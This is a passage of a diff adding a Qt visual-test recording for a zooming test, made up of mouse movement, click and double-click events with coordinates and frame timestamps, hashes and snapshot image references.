+ x: 111; y: 53
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 111; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 576
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 110; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 592
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 109; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 608
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 624
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 640
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 672
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 704
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 720
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 736
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 752
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 768
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 816
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 832
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 848
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 864
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 880
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 896
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 106; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 912
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 928
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 944
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 960
+ image: "zooming.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 106; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1008
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1024
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1040
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1056
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 106; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1088
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1104
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1120
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 106; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1136
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1152
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1168
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1184
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1200
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 105; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 103; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1232
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1248
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 62
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 94
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 104
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 114
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 124
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1376
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 193
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1392
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 197
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1408
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 200
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1424
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1440
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 93; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1472
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1488
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1504
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1520
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 92; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1536
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1552
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1568
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1584
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1600
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1616
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1632
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1648
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1664
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1680
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1696
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1712
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 91; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1728
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1744
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1760
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1776
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 91; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1792
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1808
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1824
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1840
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 91; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1872
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1888
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1904
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1920
+ image: "zooming.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 91; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1968
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 1984
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2000
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2016
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2032
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2048
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2064
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2080
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2096
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2112
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2128
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2160
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2176
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2192
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2208
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2240
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2272
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2288
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 77; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2384
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2400
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2416
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2432
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2448
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2464
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2480
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 58; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2560
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2576
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2592
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 64; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2624
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2640
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2656
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2672
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 63; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 63; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2720
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2736
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2752
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 62; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2768
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2784
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2800
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2816
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 62; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2832
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2848
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Frame {
+ msec: 2864
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2880
+ image: "zooming.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2896
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2912
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2928
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 198
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2960
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 186
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 180
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 94; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 98; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 112; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 114; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 120; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 122; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "c98df558c41f1837398eead42392b780"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 126; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 128; y: 58
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
